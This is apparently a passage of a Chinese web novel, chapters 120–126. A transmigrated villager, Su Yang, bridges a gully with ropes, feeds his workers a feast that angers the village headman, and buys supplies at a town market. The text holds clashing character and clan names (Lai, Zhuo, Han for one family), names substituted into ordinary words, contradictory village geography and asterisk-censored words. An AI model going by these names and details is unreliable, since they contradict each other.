第一百二十章 等到了冬天,沟里结了冰,看着挺厚实,可那么沉的木头一放上去,“咔嚓”一声,冰面就裂了,人掉进去,差点没冻死。 就算把木头弄到沟底了,想抬到对岸? 那沟深得吓人,水又冷,几个壮小伙下去都抬不动! 试了几次,都没戏。 村里人还不死心,又想了别的法子,可折腾来折腾去,还是白搭。 这桥啊,好几年都没个影儿。 苏阳听得直咧嘴。 照这架势,要想把桥架起来,全村老少都得出动,还得做好再搭上几条人命的准备? 苏阳摇了摇头。 不成! 咱是来带大伙儿过好日子的,可不能为了架桥,再让乡亲们遭罪。 他苏阳是想在卧龙沟上架桥,可不能让大伙把命给搭进去,苏阳在村里好不容易积攒起来的威望,可不能就这么毁了。 消息早就在村里传开了。 架桥这天,全村的人都到齐了。 人山人海,比赶集还热闹。 就连在村墙那儿忙活的卫村队,都忍不住跑过来看热闹。 赖志成气得直跺脚,可也没办法,拦不住啊! 大伙儿心里都明白,这卧龙沟北边那一大片地,一直荒着,太可惜了。 就因为这破沟,没桥,啥也干不成。 要是苏阳真能在这儿架起一座桥来,那可是给村里办了件大好事! 可这么好的事,咋就没人干呢? 说白了,还不是没人牵头,没人出钱,也没人给好处! 谁愿意白忙活一场,最后便宜了别人? 再说,架桥也不是闹着玩的,万一出点啥事,谁担得起这责任? 早些年架那座独木桥,**人,也没见谁得了啥好,也就是砍柴方便了点。 就为了砍柴,犯得着再冒这险吗? 还不如就这么凑合着呢! 没准儿,桥架好了,还方便了那些地主老财,让他们占了便宜! 苏阳可不一样。 他有的是人手,手底下那帮小子,一个个壮得跟牛似的。 再说了,他在村里现在也算是个能说得上话的人物。 关键是,这卧龙沟北边的地,可都是他苏阳的! 这桥一架起来,明眼人一看就知道,好处都归他了。 可即便如此,还是有不少人觉得苏阳这回是悬了。 “苏二这小子,就是异想天开!” “想架桥?他以为他是谁啊?” “等着瞧吧,有他哭的时候!” 人群里,窃窃私语声不断。 赖志成父子几个,更是把脑袋昂得老高,一副等着看好戏的模样。 尤其是赖志成的大儿子赖守仁,更是毫不掩饰脸上的嘲讽:“这桥要是能架起来,我把脑袋拧下来给他当球踢!” “苏二这是要干啥啊,把咱们都叫来,难不成是想让咱们给他帮忙?” 一个村民伸长了脖子,好奇地问着旁边的人。 “谁知道呢,这小子鬼点子多,说不定又想出啥幺蛾子了。”另一个人撇了撇嘴,显然对苏阳没什么好感。 苏阳把人都聚到了跟前。 “乡亲们,今儿个把大伙儿叫来,是想让大伙儿给出出主意。”苏阳清了清嗓子,开了口。 “这桥,咋架?” 他喜欢在干活的时候,顺便考考手底下这帮人,也算是开发智力了。 大伙儿你看看我,我看看你,谁也没说话。 “我来!”孔远山第一个跳了出来,“这还用问?把树扛过去,往上一搭,不就行了?” 他这话一出口,人群里立马响起一阵哄笑。 “这傻小子,还真以为架桥跟搭积木一样简单呢?” “就是,这要是能行,还用等到现在?” 苏阳也忍不住笑了。 他摆了摆手,对孔远山说道:“你这法子,不行。” “为啥不行?”孔远山有些不服气,“这多简单啊!” “简单?”苏阳指了指那独木桥,“你扛着这么粗的木头,走那独木桥试试?不摔死你才怪!” 孔远山这才意识到自己出了个馊主意,挠了挠头,不吭声了。 “我有个主意!”四眼子也举起了手。 苏阳示意他说。 “咱可以用绳子把树拴住,人先过到对岸,然后把树拉过去!”四眼子得意洋洋地说道,仿佛自己想出了一个绝妙的主意。 可苏阳还是摇了摇头。 “你这法子,也不行。” “这树有多长,有多重,你心里没数吗?隔着这么宽的沟,你拉得动?” “再说了,光南岸有人拉不行,北岸也得有人拽着,要不然,这树还不直接掉沟里?” 四眼子被苏阳问得哑口无言,也蔫了。 平时几个自以为聪明的家伙互相看了看,都没了主意。 苏阳叹了口气。 “都闪开, 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“难不成还能把树拽过去?” …… 大伙儿更看不懂了。 苏阳也不解释,一挥手,对几个手下说道:“你们几个,牵着这根绳子,下到沟底,从冰上走到对岸!” 几个小伙子应了一声,拽着绳子就下了沟。 “你们几个,往东北拉!” “你们几个,往西北拉!” 苏阳又指着另外两拨人,分别指了方向。 三路人马,分别拽着一根绳子,绷得笔直。 这下,大伙儿算是看明白了点。 苏阳这是想用三根绳子,把这树干给固定住! 这法子……能行吗? 所有人都屏住了呼吸,眼睛一眨不眨地盯着。 “起!” 苏阳一声大喝。 三路人马同时用力。 只见那原本还有些歪斜的树干,竟然一点点立了起来,稳稳当当! “有门!” “这法子真行!” “苏二,行啊!” …… 人群中爆发出一阵欢呼。 就连那些原本不看好苏阳的人,也不得不承认,这小子的确有两把刷子。 第一百二十一章 等那树干完全竖直,苏阳又发了话:“南岸的,慢慢拉!” “北岸的,慢慢松!” “都听我口令,劲儿使匀了!” …… 苏阳站在高处,扯着嗓子指挥。 南岸的人一点点往后拽绳子。 北岸的两拨人,则一点点松劲。 三方配合,小心翼翼。 那巨大的树干,在三根绳子的牵引下,开始缓缓向南岸倾斜…… 关键时刻到了! 所有人的心都提到了嗓子眼,大气都不敢出。 “轰隆——” 一声巨响,地面都跟着颤了三颤。 那树干,稳稳当当地横在了卧龙沟上! 桥,架起来了! “噢——” “苏二,好样的!” “这桥架得真漂亮!” …… 人群瞬间沸腾,欢呼声、叫好声响成一片。 大伙儿激动,不仅仅是因为卧龙沟上多了座桥。 更是因为,他们亲眼见证了苏阳的本事。 这桥,可不是谁都能架起来的! 苏阳用自己的法子,让大伙儿开了眼界。 “切,有啥了不起的。”赖守仁的声音,在人群中显得格外刺耳,“不就是座独木桥吗?连牛车都寸步难行?”“这桥是架起来了,可有啥用?还不是过不了牛车?” 赖守仁的声音尖锐,像一把砂纸磨过生锈的铁皮,在人群中炸开。 刚升腾起的那点喜悦,被这声音一刺,像被扎破的气球,‘噗’的一下,全没了。 卓麻的一番“高论”,让不少人脸上火辣辣的。刚才还觉得苏阳架桥的动作挺唬人,现在回过味儿来,感觉自己像个被耍的猴。 是啊,苏二这小子,看着挺能耐,实际上,还不是就那么回事! 有几个跟苏阳走得近的,懊恼地一拍大腿,心里那叫一个悔啊。 “苏二啊苏二,你咋就这么不开窍呢?把这新桥架在老桥旁边,两根木头一并,路面不就变大了?这下倒好,白忙活一场!” 人群里,窃窃私语声像瘟疫一样蔓延。 赖志成看着村民们的反应,嘴角都快咧到耳根子了。他得意地拍了拍大儿子的肩膀,那眼神,仿佛在说: “看见没?还是咱老韩家的人脑子灵光,一眼就看穿了这小子的把戏!这帮泥腿子,被人卖了还帮人数钱呢!” 苏阳手下有几个新来的小子,耳边传来村民们的闲言碎语,心里也开始打鼓。 “难道……阳哥儿这次真的失算了?” “不能吧,阳哥儿啥时候出过错?” “这……谁知道呢,万一呢……” 几个新来的小声嘀咕着,语气里透着不确定。 “走吧走吧,都散了,继续去修缮村里的围墙,有啥好看的!”赖志成见时机成熟,扯着嗓子吆喝起来。 他要让这些泥腿子们明白,苏二不过是个跳梁小丑,在这青龙村,谁才是真正说了算的人! 部分村民被赖志成说动,开始三三两两地往回走,一边走一边还忍不住回头张望,似乎想看看苏阳还能耍出什么花样。 “热闹看完了,这大冷天的,还留在这儿干啥?” “就是,回去烤烤火,暖和暖和。” 人群开始稀稀拉拉地散去。 然而,陈木生、路旭东这帮最早跟着苏阳的,却跟墙头草似的村民不一样。 他们不说话,只是冷冷地看着那些人。 在他们眼里,这些人脸上的得意,就跟戏台上涂了白鼻子的丑角一样滑稽。 这帮人,根本不知道他们面对的是谁。 在陈木生他们心里,苏阳就不是一个正常人。 正常人谁能想出用石头煮肉的法子?正常人谁能空手套白狼,从县太爷手里弄来粮食? 跟着阳哥儿,就一个字: 稳! 阳哥儿说啥就是啥,让干啥就干啥,绝对错不了! 就算一时半会儿看不懂,那也是咱自己脑子不够用,跟阳哥儿没关系! 谁要敢质疑阳哥儿,那就是跟咱过不去! “二哥,下一步咋整,您倒是说句话啊!”陈木生等了半天,也没听到苏阳有啥新指示,急得像热锅上的蚂蚁。 他扭头一看,差点没气晕过去。 只见苏阳,单手抚摸着下颌,另一只手轻轻敲打着膝盖,一副悠然自得的样子,哪有半点着急的意思? “二哥!您倒是说句话啊!人家都指着鼻子笑话您呢,您还在这儿看热闹,胆子也太肥了吧?”陈木生忍不住吼了起来,声音里带着一丝颤抖。 苏阳这副 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苏阳还没来得及回答,李大锤的婆娘就一把拧住了他的耳朵。 “你个死脑筋,瞎掺和啥?没听苏二说吗,万一砸坏了老桥咋办?” 李大锤疼得龇牙咧嘴,却不敢反抗,只能小声嘟囔:“那……那也不能干看着啊……” 苏阳笑了笑,对李大锤的婆娘说:“嫂子,大锤哥说的也有道理,只是没说到点子上。” 他转头看着孔远山,问:“远山,你刚才不是说,要把两根树干并排吗?现在我问你,要是并排放的时候,新树干没放稳,砸到了老桥,咋办?” 孔远山一愣,支支吾吾地说不出话来。 “这……” 他抓耳挠腮,想了半天,也没想出个所以然。 “都看着**啥?”苏阳见众人都盯着自己,故意板起脸说:“我问你们话呢!一个个都哑巴了?” “阳哥儿,俺们……俺们是真想不出来。”陈木生苦着脸说。 “想不出来就对了!”苏阳语气一转,变得语重心长:“你们想想,要是每次遇到点事,都得我来告诉你们怎么办,那我还养着你们干啥?吃白饭的? 第一百二十二章 ” 人群中,不少村民也伸长了脖子,想听听苏阳到底有什么高招。 “苏二,你就别卖关子了,快说吧!”有人忍不住催促道。 “就是,急**了!” 苏阳却没有理会村民的催促,而是继续“训斥”着手下的小子: “我跟你们说过多少次了,遇事要多动脑筋,不要总想着依赖别人!这次的事,其实很简单,关键就在于……” 他故意停顿了一下,目光扫过每一个人的脸。 “关键就在于,咱们不能把所有的风险,都压在一座桥上!” “风险?” “啥意思?” 一群年轻人你看看我我看看你,还是没听懂。 苏阳也不再绕弯子,直接说道:“把新桥和老桥并排,固然能让桥面变宽,但风险也大了。万一新桥没放好,砸坏了老桥,那咱们就彻底没路可走了!” “所以,咱们得想个办法,既能把桥面变宽,又能保证老桥的安全。” 他指着刚刚架好的独木桥,说道:“这根树干,就是咱们的‘保险’!” “保险?” 众人更糊涂了。 “对!”苏阳肯定地点了点头,然后,他做出了一个让所有人都意想不到的举动。 他走到小荷面前,蹲下身子,柔声问道:“小荷,你还记得,刚才你是怎么说的吗?” 小荷眨了眨眼睛,有些怯生生地说:“二哥,我……我说,把树干抬到老桥旁边……” “对!就是这么简单!”苏阳猛地一拍巴掌,声音洪亮:“小荷说的,就是最好的办法!” “啊?” “这……这也行?” “一个小丫头片子,能有啥好办法?” 人群中,顿时响起一片质疑声。 卓氏父子更是笑得前仰后合。 “哈哈,苏二,你是不是没人了?竟然让一个小孩子来出主意?”赖志成笑得眼泪都快出来了。 “爹,您别说,这小丫头的主意,还真‘高明’!”卓麻也跟着起哄。 然而,他们的笑声,很快就戛然而止。 因为他们发现,除了他们几个,其他人竟然都没有笑! 而且,那些人的眼神,就像在看……**? “咋……咋回事?”赖志成脸上的笑容僵住了,他感觉自己好像又错过了什么。 “爹,我……我好像明白了……”卓麻结结巴巴地说。 “明白啥了?” “小荷说的……好像……没错啊……” “啥?” 赖志成瞪大了眼睛,一脸的难以置信。 “爹,您想啊,咱不直接把两根树干并排,而是先架好一根,再把这根抬过去,跟老桥并排,这样不就安全多了?” “这……”赖志成张了张嘴,却发现自己竟然无言以对。 其他村民也纷纷回过味来。 是啊,这么简单的道理,他们怎么就没想到呢? 直接并排有风险,那就先分开架,再抬到一起,这不就解决问题了吗? “我真是猪脑子!”一个村民狠狠地拍了一下自己的脑袋。 “我也是,这么简单的方法都想不出来!” “哎,还是苏二厉害,连一个小丫头都比咱们强!” 人群中,懊恼的叹息声此起彼伏。 苏阳看着小荷,脸上露出欣慰的笑容。 “小荷真聪明,比他们都强!”他毫不吝啬地夸赞道。 小荷被夸得有些不好意思,小脸红扑扑的,像个熟透了的苹果。 但她心里,却比吃了蜜还甜。 “二哥,我……我还能帮上忙吗?”她小声问道。 “当然能!”苏阳笑着说:“以后,你就是咱们的‘小军师’了!” “小军师?” 小荷歪着脑袋,似乎不太明白这个称呼的意思。 但她知道,二哥是在夸她,这就够了。 “二哥,我不吃糖了,”小荷突然想起一件事,连忙说道:“糖都吃腻了,下次你给我买点别的吧!” “啥?” 这下,轮到苏阳愣住了。 他没想到,小荷竟然会提出这样的要求。 “好……好吧,”苏阳回过神来,笑着说:“下次二哥给你买个新玩具,好不好?” “好!”小荷高兴地跳了起来。 周围的村民,看到这一幕,一个个都露出了羡慕的神情。 “这小丫头,真是好福气啊!” “谁说不是呢,跟了苏二,以后肯定吃香的喝辣的!” “哎,我要是有个这么聪明的女儿就好了!” “得了吧,就你那脑子,能生出啥好女儿?” 人群中,又是一阵哄笑。 不过,这次的笑声中,却少了几分嘲讽,多了几分羡慕和……嫉妒。“ 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“胡咧咧啥呢!小孩子家家的!” 就在这时, “麻烦各位让个道,吃午饭啦!” 林绮娘清脆的声音传来,像一记清脆的铃铛声,打破了这片刻的尴尬。 王婶那粗犷的嗓门也紧随其后, “都别挤!排好队!让老人家先来!” 在她们身后,路旭东、孔远山,还有毕明志的老娘,都挑着担子。 担子上挂着沉甸甸的大木桶,随着他们的步伐有节奏地晃动着。 一步步走来,仿佛带着某种庄严的仪式感。 “午饭?” “啥?咱们青龙村还有人吃午饭?” “这……这不是在烧钱吗?谁家中午还吃饭啊!” 村民们顿时炸开了锅, 议论纷纷,语气里透着浓浓的疑惑,还有一丝丝……嫉妒。 要知道,在青龙村,一天能吃两顿稀的就不错了,谁家还敢吃午饭? 这不是活生生的浪费粮食吗? 咣当! 走在最前面的王婶,把肩上的担子重重地往地上一放。 其中一个木桶的盖子,被她“啪”的一声掀开! 第一百二十三章 “哇……” 人群中爆发出一阵整齐的惊呼。 即使隔着老远,那股浓郁的肉香味,也像长了翅膀一样,直往人鼻子里钻。 一大桶豆芽菜炖的红烧肉! 不同于以往寡淡的炖菜,这红烧肉色泽红亮,酱香浓郁。 阳光洒在上面,油汪汪的,让人一看就忍不住口水直流。 肉块切得极大,足有婴儿拳头大小,在豆芽的缝隙间颤巍巍地抖动。 这得放多少油,多少酱料啊! 只见大块大块的红烧肉,颤巍巍的肥肉部分几乎是半透明的。 那诱人的色泽,那扑鼻的香味…… 对于吃不上一顿饱饭的青龙村百姓而言, 这景象,简直比听说皇帝老爷来了还要震撼! 有人使劲嗅着鼻子,仿佛这样就能把香味吸进肚子里。 “以前只听说苏二家吃得好,俺还不信,现在可算是信了!” “谁说不是呢,这哪是吃得好,这是天天过年啊!” “哎,俺要是能吃上一口,**也值了!” 村民们窃窃私语,语气里是掩饰不住的羡慕和震惊。 只求能尝一口是什么滋味,哪怕就一小口,让我们做什么都可以! 咣! 王婶可不管村民们怎么想,她又“唰”地一下,掀开了第二个桶盖。 “哇……” 惊呼声再次响起,比刚才还要响亮几分。 这次是猪下水烩豆芽! 猪下水经过特殊处理,完全没有了异味。 切成小块的猪杂,和豆芽一起,满满一大桶! 这味道…… 绝了! 苏二这小子,怎么这么会做菜? 这手艺,比县城里的大厨都强吧! 有几个识货的,眼睛都直了。 这么多肉,这得砸多少银子啊? 这苏二,真是太有本事了! 就在村民们议论纷纷的时候,林绮娘也缓步上前。 她轻轻松松地打开了面前的两个木桶。 “天哪!” “这是……馒头?” “这真是馒头吗?俺没看花眼吧?” 两桶晶莹剔透的米,松松软软,热气腾腾的大包子! 这馒头,白得像天上的苏彩,暄软得像棉花。 每一个都比人脸还大! 这得用多少白面啊! 有几个婆娘,看着这馒头,眼睛都红了。 她们平时在家,也没少蒸馒头。 可是,蒸出来的馒头,要么硬得像石头,要么黄得像泥土。 哪有这么好看的馒头啊! “俺要是能蒸出这样的馒头,做梦都能笑醒!” 一个婆娘喃喃自语,声音里充满了羡慕。 赖志成站在人群外围,眼神闪烁。 他忍不住多看了林绮娘几眼,又下意识地擦了擦嘴角。 这大白馒头,看起来可真暄软…… 肯定比自己婆娘蒸的那些硬疙瘩强多了! 他暗暗吞了口唾沫,心里盘算着,要不要找个机会,也让绮娘给自己蒸几个尝尝? 众乡亲还沉浸在震撼中。 路旭东的老娘颤巍巍地走上前,从怀里掏出块手帕,仔细地擦了擦手。 她费力地打开了身前的两个大木桶。 “白……白米饭!” “难道这就是传闻中的贡米?” 人群中再次爆发出惊呼,这次直接变成了喊叫。 两个大桶装满了精米,米粒颗颗饱满,晶莹剔透,冒着热气。 在阳光下,闪烁着诱人的光泽,还泛着一层油光! 青龙村的村民,一辈子都没见过几次白米饭。 更别提吃到这金贵的大米饭了! “这……这得多少银子啊……” 一个老汉哆哆嗦嗦地说,声音里充满了震惊。 “苏二真是太有钱了!” 有人感叹道,语气里充满了羡慕。 路旭东的老娘看着自家儿子,眼神里充满了骄傲,脸都笑成了一朵花。 她觉得,自己这辈子做的最正确的事情,就是让儿子跟着苏二! 孔远山的老娘挑的两桶,是加了萝卜干的鲫鱼汤。 和其他几样吃食不同,鱼汤胜在一个鲜字。 鱼是苏阳一早带着孔远山几个,去河里捞的。 新鲜的鲫鱼,配上自家腌的萝卜干, 熬出来的汤,又浓又白,鲜得能让人把舌头都吞下去! 鱼汤刚一开盖,那股鲜味就“嗖”地一下窜了出来, 一下子就勾起了所有人的馋虫,连吸气的声音都此起彼伏。 “这鱼汤,闻着就鲜掉眉毛了!” “苏二的手艺,真是没的说!” “俺要是能喝上一碗,这辈子都值了!” 村民们议论纷纷,口水都快流下来了。 最后,轮到毕明志的老娘了。 她笑眯眯地打开了木桶。 里面整整齐齐地码放着碗筷。 “没碗筷,难 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这哪是吃饭啊,这是吃命啊! 有人吃着吃着就哭出了声。 这年头,能吃饱饭,那就是天大的福气! 更别提还有肉,有鱼,有白米饭,有大馒头…… 这简直就是神仙过的日子啊! 苏阳看着眼前的情景,心里也有些感慨。 他虽然不是这个时代的人, 但也能体会到,这些村民对食物的渴望。 苏阳这边的人吃得热火朝天,泪流满面。 那些没能来帮忙的吃瓜群众,则是急得抓耳挠腮,眼睛都红了。 特别是守护村子的那些人,一个个更是义愤填膺。 “不公平!这也太离谱了吧!” “凭什么他们吃香的喝辣的,我们只能在旁边望着?” “咱们也出力了,凭啥不给咱们饭吃?” 他们看着赖志成,眼神里充满了怨气, “卓村正,你倒是说句话啊!” “就是,咱们也出力了,凭啥不给咱们饭吃?” “总不能做个无偿劳工!” 人群中,有人带头喊了一嗓子,赖志成怎么也没想到,大过年的,他不过是去看个热闹,竟能看出这么一场塌天大祸来! 第一百二十四章 卫村队那帮泥腿子,平日里见了他哪个不是点头哈腰,连大气都不敢喘一声。 今天倒好,一个个跟吃了熊心豹子胆似的,还敢硬气地找他讨生活! 反了! 这是要翻天啊! 赖志成额角的青筋突突直跳,拳头捏得咯咯作响。 打从他爷爷的爷爷那辈儿起,韩家就在青龙村说一不二。 什么时候见过这阵仗? 这帮贱民,平日里连猪狗都不如,今天倒想起**了? “给脸不要脸的东西!” 赖志成咬牙切齿,恨不得把面前这群人全都活剥了。 可他更恨的还是苏阳。 “苏二……” 他从牙缝里挤出这个名字,眼里几乎要喷出火来。 要不是这小兔崽子挑头,瞧这群穷酸鬼,就算饿死在路边,也绝不敢朝他放一个屁! 青龙村年年都有人饿死? 可在苏二这搅屎棍冒头之前,也没见谁敢蹦跶两下? 这背后要是没有那小子的鬼影,他赖志成把脑袋拧下来当球踢! 可惜,苏阳现在翅膀硬了,不是他想动就能动的。 赖志成气得浑身发抖,却也只能把这口气硬生生咽下去。 找机会? 怎么找? 他心里一点底都没有,只觉得一股邪火在胸腔里乱窜,烧得他五脏六腑都疼。 明着来肯定是不行了,只能背地里下绊子…… 可那小子现在精得跟猴似的,哪那么容易上套? “呼……” 赖志成深吸一口气,强迫自己冷静下来。 他眯起眼睛,死死盯着眼前这群衣衫褴褛、面黄肌瘦的村民。 最终,他还是不得不低头。 “行,给你们吃!每天一顿,杂粮粥!” 他几乎是从嗓子眼里吼出这句话,每一个字都带着浓浓的怨气。 尽管只是最次的杂粮粥,可村民们还是不敢再闹了。 他们一个个低着头,脸上却都带着掩饰不住的喜色。 这可是破天荒的头一遭啊! 打从韩家祖上起,青龙村的村民什么时候有过这等待遇? 给韩家干活,从来都是白干不说,还得自带干粮。 谁家要是有人受了伤,韩家人能假惺惺地过来看一眼,说几句不痛不痒的场面话,就算天大的恩情了。 现在居然能让姓赖的放粮? 哪怕只是一顿稀得能照出人影的杂粮粥,那也是祖坟上冒青烟的好事! “都**给老子记住了,这是老子开恩,赏你们的!” 赖志成恶狠狠地瞪了村民们一眼。 村民们心里都跟明镜似的。 这粥是怎么来的,他们能不清楚? 要不是苏二爷,就凭他们,想让卓扒皮拔**? 门都没有! …… 苏阳这会儿可没心思搭理赖志成那点破事。 他正忙着呢。 卧龙沟两岸的四根主梁已经架好了,可这桥还差得远呢。 苏阳心里清楚,这桥可不是搭几根木头就完事,那是要走牛车,要承重的! 万一出点岔子,可不是闹着玩的。 他得去镇上请几个老师傅来,把这桥好好弄弄。 光是把树干固定住还不够,还得在上面铺木板,两边做围栏。 这可都是技术活,自己这些二把刀可搞不定。 他可不想让自己的桥变成“豆腐渣工程”。 这年头,人命可不值钱,可也不能这么糟蹋。 苏阳决定第二天一早就出发。 正巧赶上三溪镇的集日。 他提前一天就把石头和毕明志叫到跟前,细细地交代了一番。 “你们两个,给我把家看好了!” 苏阳的表情严肃得能拧出水来。 “这次出门,我带十个兄弟,赶三辆牛车,你们也带十个人,给我把家里守得跟铁桶似的!” “现在不比从前,咱们家底厚了,万一有人起了歹心,那可就追悔莫及了。” 他指了指院子里的仓库,又指了指周围的屋子。 “这些,还有兄弟们的家眷,都交给你们了!” 石头一听,立马把胸脯拍得山响: “二哥你放心!只要有我石头在,谁也别想动咱们家一根毫毛!” 毕明志也跟着点头: “二哥,你只管放心去,家里有我们呢!” …… 天刚蒙蒙亮,苏阳就带着人出发了。 青龙村到三溪镇,说远不远,说近也不近。 往东走十来里是临溪村,临溪村往北,再走个五六里,就到了三溪镇的地界。 三溪镇再往北,又是一个五六里,那是临溪村的地盘。 玉溪河从北边蜿蜒流淌下来,穿过临溪村,流经三溪镇,再往下,就是临溪村了。 到了临溪村,玉溪河拐了个弯,向东流去,跟清阳县的护城河 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平日里,这镇上也就是那几家铺子开着门。 卖什么的都有,粮食、杂货、铁器…… 苏阳走进一家粮店。 他想看看这儿的粮价跟县城里比怎么样。 谁知道,一问价,苏阳愣住了。 这儿的粮食,竟然比县城里还贵! “掌柜的,你这粮价,咋比县城还贵呢?” 苏阳有点纳闷。 按理说,这儿离产粮的地方更近,应该更便宜才对啊。 掌柜的笑眯眯地解释:“客官,您有所不知,这粮啊,运到县城,那是有官府的定价的,不敢乱涨。咱们这儿,天高皇帝远,稍微贵点儿,也是情理之中嘛。” 苏阳一听就明白了。 这年头,信息不发达,交通也不方便。 从县城到这儿,几十里地呢,运费可不是个小数目。 贵点就贵点吧,谁让咱急着用呢。 他也没还价,直接让掌柜的给他称了…好几石粮食。 从粮店出来,苏阳又逛了逛。 路过一个肉摊的时候,他停下了脚步。 这肉摊上的猪肉,看着还挺新鲜。 苏阳走上前,随口问了句: “老板,这肉怎么卖? 第一百二十五章 ” “九十文一斤!” 肉贩子头也没抬,继续剁着手里的骨头。 苏阳一听,顿时来了精神。 这价格,可比县城里便宜多了! “你这肉,咋比县城还便宜?” 苏阳好奇地问道。 肉贩子一听“老板”这称呼,愣了一下,随即咧嘴笑了。 他放下手里的刀,抬起头,打量了苏阳一眼。 “这位……爷,您是外乡人吧?” 他压低了声音,神神秘秘地说道: “俺这猪肉,是从乡下直接收的,没过官府的手,自然就便宜些。” 苏阳一听就明白了。 这是**了啊。 不过,这年头,这种事也不稀奇。 “你这儿还剩多少肉?” 苏阳问道。 “没多少了,就剩下这些。” 肉贩子指了指摊子上剩下的那些。 “我全要了!” 苏阳大手一挥,豪气地说道。 “啥?全要?” 肉贩子以为自己听错了,瞪大了眼睛,不敢相信地看着苏阳。 “对,全要!你算算多少钱。” 苏阳笑着说道。 “这……这……” 肉贩子激动得话都说不利索了。 他还是头一次遇到这么大的主顾呢! “爷,您稍等,我这就给您算……”“我说兄弟,这买卖,你可得掂量掂量,别看事小,水深着呢。” 肉贩子点头哈腰地跟在苏阳身边,贼兮兮的眼睛里闪过一丝精明。 苏阳一行人格外显眼。统一的棉布衣裳,精气神十足,手里还都提着棍棒。尤其苏阳,小小年纪就出手阔绰,一看就不是普通人。可偏偏和卖肉的勾搭上了,这让肉贩子心里直打鼓。 苏阳停下脚步,瞥了他一眼,嘴角微微上扬:“怎么,你还怕我付不起钱?” “不不不,”肉贩子像拨浪鼓似的摇着头,肥厚的双下巴也跟着颤动,“小弟,看您说的,我是怕您吃亏啊!” 他压低了声音,凑近苏阳,神秘兮兮地说:“您是不知道,这猪肉的买卖,道道多着呢。您一看就是不常在市井里走动,怕是不知道这里头的弯弯绕……” “哦?”苏阳挑了挑眉,示意他继续说下去。 肉贩子见苏阳似乎来了兴趣,更加卖力地解释起来:“您想啊,咱这猪肉,要是不过官府那道手,价钱是能便宜不少。可要是让人给盯上了,那可就……” 他做了个抹脖子的动作,喉结上下滚动了一下,意思不言而喻。 “行了,别卖关子,我哪会做什么买卖,”苏阳有些不耐烦地打断他,“我就想让你定期给我送猪,没别的。” 肉贩子一听,提到嗓子眼的心脏总算落回了实处,脸上的肥肉都舒展开了,一拍大腿:“嗨呀,吓我一跳!您早说啊!送猪?送猪好说啊!这事我熟!” 苏阳一行人在集市上本就惹眼,再加上肉贩子这一惊一乍,周围立马围上来一群看热闹的。 “老板,这么着,每半月你得给我送一头猪过来,你算什么价?” 苏阳不想被人当猴看,决定速战速决。 “啥?半个月一头猪?” 肉贩子还没来得及反应,周围的吃瓜群众先炸开了锅。 这年头,谁家能半个月吃一头猪?能赶上逢年过节吃上一顿肉渣,那都得是祖坟上冒青烟了! “这小伙子,莫非是哪个富贵人家的公子哥?” “我看八成是!瞧他那气派,像是缺钱的人吗?” “哎呦喂,这得是多有钱的人家啊,怕是比何员外家还有过之而无不及吧!” “那可不,何员外家也未必能这么造!”有人语气很酸。 …… 听着周围人的议论,肉贩子心里快速盘算,原本要说出口的试探也变了味儿。他点头哈腰,满脸堆笑:“哎呦喂,这位少爷,您这是……要把猪送到哪儿啊?” 虽然换了称呼,可生意还是生意,送猪的地点不同,价格肯定不是一个档次。这年头,运费可不是闹着玩的。他必须得把这事儿问清楚。 苏阳的目光扫过人群,最后落在了肉贩子身上,语气平淡:“青龙村。” “啥?青龙村?!” 肉贩子怀疑自己耳朵出了问题,周围的人也都以为自己听错了,纷纷交头接耳。 青龙村,那可是出了名的穷地方,一年到头不知道要饿死多少人。村里最土豪的就是村正,可就那村正,也是个出了名的抠搜性子,平日里恨不得把一个铜板 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肉贩子一把接住,入手沉甸甸的,脸上的褶子都笑成了一朵花。有了这订金,他心里就更踏实了。别说半个月,就是十天送一头猪,他也乐意! 四下扫了一眼,周围那些小商贩们,一个个眼睛都红了,恨不得扑上来抢了这买卖。 “哎,这位小哥,我这儿的菜可新鲜了,您要不要来点儿?”一个菜贩子扯着嗓子喊道。 “小哥,我这儿的炭火好,烧得旺,您看看?”一个卖炭翁也挤了过来。 “还有我的……” “都让让,都让让!”苏阳身边的几个护卫可不是摆设,把试图靠近的人都挡了回去。 苏阳摆了摆手:“各位,各位,静一静!我今天来,还有一件事。我呢,想在青龙村盖几间房子,需要几个技术过硬的木工和石工,不知哪位师傅愿意跟我走一趟?” “我!我!选我!” “少爷,我是石头村的石匠,手艺您尽管放心!” “少爷,我是孙家庄的,祖传的手艺,盖的房子又结实又漂亮!” “还有我……” 人群瞬间沸腾起来,木匠、石匠们争先恐后地往前挤,生怕苏阳看不见自己。 苏阳没想到会是这么个场面,一时间竟不知道该如何是好。 就在这时,他的衣角被人轻轻拽了一下。 第一百二十六章 苏阳扭头一看,是肉贩子正朝他挤眉弄眼。 肉贩子见苏阳看过来,压低了声音说道:“小弟,这些人你可不能全信,这里头水可深着呢……” 苏阳会意,肉贩子这是有话要单独跟自己说。 “各位,各位,静一静,静一静!”苏阳提高声音,“这样吧,有心跟我去青龙村的,半个时辰后,在镇口集合。到时候,咱们再细谈。” 说完,苏阳朝众人拱了拱手,带着人,在肉贩子的引领下,走出了人群。 那些原本争先恐后的匠人们,见苏阳没有立刻定下人选,虽然有些失望,但也无可奈何,只得三三两两地散去,各自盘算着。 肉贩子将苏阳他们买的猪肉,仔细地码放在牛车上,然后就像个跟屁虫似的,紧紧地跟在苏阳身后。 接下来,苏阳又买了些杂七杂八的东西。肉贩子俨然成了苏阳的购物向导,哪家的东西好,哪家的人实在,他都了如指掌,如数家珍。 …… 三溪镇,镇尾。 一间破败的农家小院,与周围的房屋格格不入。 屋内,烟雾缭绕,人声嘈杂。 一群人正围坐在一张油腻的木桌旁,推杯换盏,赌得热火朝天。 一个尖嘴猴腮的汉子,贼头贼脑地溜了进来,凑到一个满脸横肉、胳膊上纹着条青蛇的壮汉耳边,低声嘀咕了几句。 青蛇纹身男听罢,将手中的牌九猛地往桌上一摔,骂骂咧咧地站了起来:“**,都别玩了!来活了!兄弟们,抄家伙,干活!”三溪镇不大,镇尾有家铁匠铺,这让苏阳有些惊喜。 他寻思着,要是能买到几张**,那可就赚了。 可惜,铺子里除了农具还是农具,连个像样的兵器都没有。 苏阳有些失望,不过,农具也得买,总比赤手空拳强。 他掂了掂,这些农具虽说比不上城里的,倒也能凑合。 价格也便宜,比城里实惠。 苏阳本来还想买几头耕牛,改善一下生产力。 可一打听,卖肉小贩说,这地方压根就没人卖那玩意儿。 也是,穷乡僻壤的,谁家舍得买大牲口?买了也没处卖去。 看来,有些东西,还得去城里置办。 带来的三辆牛车空空荡荡,苏阳又买了些粮食。 这年头,粮食就是命根子,有多少都不嫌多。 三辆牛车装满了粮食和其他杂物,在镇上缓缓驶过,颇有些气势。 突然, “哎呦!”一声怪叫。 